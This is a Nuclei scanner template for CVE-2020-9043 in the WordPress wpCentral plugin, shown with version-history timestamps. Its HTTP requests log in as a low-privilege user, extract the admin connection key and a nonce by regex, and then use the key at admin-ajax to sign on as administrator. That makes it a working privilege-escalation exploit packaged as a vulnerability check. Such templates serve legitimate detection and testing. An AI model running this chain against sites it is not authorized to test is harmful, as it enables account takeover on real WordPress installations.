nuclei-templates/http/cves/2020/CVE-2020-9043.yaml

77 lines
2.3 KiB
YAML
Raw Normal View History

2022-07-23 14:45:35 +00:00
id: CVE-2020-9043
info:
name: WordPress wpCentral <1.5.1 - Information Disclosure
2022-07-23 14:45:35 +00:00
author: scent2d
severity: high
2022-07-23 16:22:07 +00:00
description: |
WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
2022-07-23 14:45:35 +00:00
reference:
- https://wpscan.com/vulnerability/10074
- https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/
2022-07-23 16:22:07 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043
- https://wordpress.org/plugins/wp-central/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2020-9043
2022-07-23 14:45:35 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-07-23 14:45:35 +00:00
cvss-score: 8.8
cve-id: CVE-2020-9043
cwe-id: CWE-200
cpe: cpe:2.3:a:wpcentral:wpcentral:*:*:*:*:*:*:*:*
epss-score: 0.03474
2022-07-23 16:30:56 +00:00
metadata:
max-request: 4
2023-06-04 08:13:42 +00:00
verified: true
tags: wordpress,wp-plugin,wpcentral,authenticated,wp,wpscan,cve,cve2020
2022-07-23 14:45:35 +00:00
http:
2022-07-23 14:45:35 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/index.php HTTP/1.1
Host: {{Hostname}}
2022-07-24 17:21:53 +00:00
- |
GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1
Host: {{Hostname}}
host-redirects: true
2022-07-24 17:21:53 +00:00
max-redirects: 2
2022-07-23 14:45:35 +00:00
cookie-reuse: true
2022-07-23 16:22:07 +00:00
req-condition: true
2022-07-23 14:45:35 +00:00
matchers:
2022-07-23 16:22:07 +00:00
- type: dsl
dsl:
- "contains(header_4, 'text/html')"
2022-07-24 17:21:53 +00:00
- "status_code_4 == 200"
- "contains(body_4, 'wpCentral Connection Key')"
- contains(body_4, "pagenow = \'dashboard\'")
2022-07-23 16:22:07 +00:00
condition: and
2022-07-23 14:45:35 +00:00
2022-07-23 16:22:07 +00:00
extractors:
- type: regex
2022-07-24 17:21:53 +00:00
name: authkey
2022-07-23 16:22:07 +00:00
part: body
group: 1
regex:
- 'style="word-wrap:break-word;">([a-z0-9]+)'
2022-07-24 17:21:53 +00:00
internal: true
- type: regex
name: nonce
part: body
group: 1
regex:
- '_wpnonce=([0-9a-z]+)'
internal: true